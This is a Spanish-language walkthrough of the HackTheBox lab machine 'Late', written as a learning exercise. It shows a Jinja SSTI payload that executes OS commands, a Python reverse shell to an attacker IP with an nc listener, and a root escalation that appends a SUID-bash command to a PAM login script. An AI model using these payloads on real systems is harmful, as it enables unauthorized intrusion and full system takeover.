Enumeración#
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
| 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puerto 80#
Si subimos una imagen que contenga un texto visible la pagina nos devolverá un archivo txt con dicho texto dentro de el además sabemos que la pagina esta usando flask que generalmente se usa para el tratamiento de plantillas como podría ser este caso pasando el texto de la imagen a texto. Esto nos da una posible entrada a un SSTI (Server-Side-Template-Injection) esto es muy sencillo de probar si nos dirigimos a PayloadAllTheThings , vamos a subir la siguiente imagen:
Si descargamos el archivo de texto que nos da la pagina nos damos cuenta que esta presente la vulnerabilidad:
<p>49
</p>
Con esto en mente podemos probar varias payloads disponibles para Jinja presentes en el github.
Usuario#
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('COMANDO').read() }}
Por lo que lo que voy a hacer de mi parte es crear un archivo con una revshell python montar un servidor http hacer que la maquina victima lo descargue y posteriormente lo ejecute:
- Crear shell reversa:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")
- Hacer que la maquina descargue la shell reversa, subimos la siguiente imagen y le damos a que la escanee:
Nos ponemos en escucha con el comando
nc -lvnp 4444Hacemos que la maquina ejecute el archivo que descargo subiendo y escaneando la siguiente imagen:
Con esto tenemos una shell está el tratamiento típico de la TTY:
script /dev/null -c bash
Ctrl + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
Root#
Al no tener la contraseña del usuario actual descartamos inmediatamente sudoers debido a que aunque lo tuviéramos no lo podríamos ejecutar, lo siguiente en nuestra lista es revisar cron jobs para esto usamos los siguientes comandos:
cat /etc/crontab
Pero no encontré nada que me llamara la atención entonces empece a listar que archivos teníamos en el directorio del usuario y encontré tanto su clave publica como privada para usar en ssh, por lo que ahora nos podemos conectar por ese medio. Después de eso quise ver si había algún directorio en el PATH en el que pudiéramos escribir:
echo $PATH
Con esto podemos ver que esta el directorio /usr/local/sbin revisando dentro de este directorio vemos un script llamado ssh-alert.sh:
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
Este script Bash se está disparando desde la fase open_session del flujo PAM 1 de SSH, típicamente mediante pam_exec en la configuración de /etc/pam.d/sshd o común a sesiones, y sshd es un daemon privilegiado que invoca PAM como root; por eso las variables de entorno de PAM (PAM_USER, PAM_RHOST, PAM_SERVICE, PAM_TTY, PAM_TYPE) están disponibles y los comandos del script (date, uname, y sendmail) se ejecutan con UID efectivo 0. Ademas se ejecuta cada que un usuario se loguea por ssh.
Intente modificar el archivo y aunque aparentemente los permisos los tengo no me lo permite por lo que decidí usar [[Pspy]] para ver si había pasado algo por alto:
Y si habíamos pasado por alto algo importante el usuario root esta copiando ese archivo cada minuto y esta poniendo el comando chattr -a que quita el atributo “append-only” de un archivo o directorio en sistemas de archivos Linux que lo soportan (ext2/3/4, entre otros). El atributo append-only (+a) fuerza que el archivo solo pueda abrirse para añadir datos al final; no permite truncar, sobrescribir, renombrar ni borrar su contenido. Por lo que solo podemos añadir contenido.
Con esto tenemos todo para poder elevar privilegios:
- Añadir las instrucciones para que root copie su /bin/bash a /tmp y le de permisos para que nosotros la podamos ejecutar como el.
- Ingresar por ssh usando la clave ssh que encontramos.
- Ejecutar la bash que nos proporciona el ataque.
Lo primero es copiar la clave que nos va a ser útil para ingresar por ssh sin contraseña y dale los permisos adecuados:
chmod 600 id_rsa
Ahora en la maquina victima ejecutamos el siguiente comando:
echo "cp /bin/bash /tmp/bash | chmod 4755 /tmp/bash" >> /usr/local/sbin/ssh-alert.sh
Nos conectamos por ssh con la clave:
ssh -i id_rsa svc_acc@late.htb
/tmp/bash -p
Referencias#
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- https://github.com/VersiraSec/python-rev-shell/blob/main/python-rev-shell.py
PAM (Pluggable Authentication Modules) es un marco modular de autenticación para sistemas tipo UNIX que separa la lógica de autenticación/autorizar/sesión de las aplicaciones que lo usan, permitiendo cambiar políticas y métodos sin modificar esos programas. En la práctica, aplicaciones como sshd, su, login o sudo llaman a PAM a través de una API común, y PAM ejecuta una “pila” de módulos configurados para cuatro áreas: auth, account, password y session. ↩︎







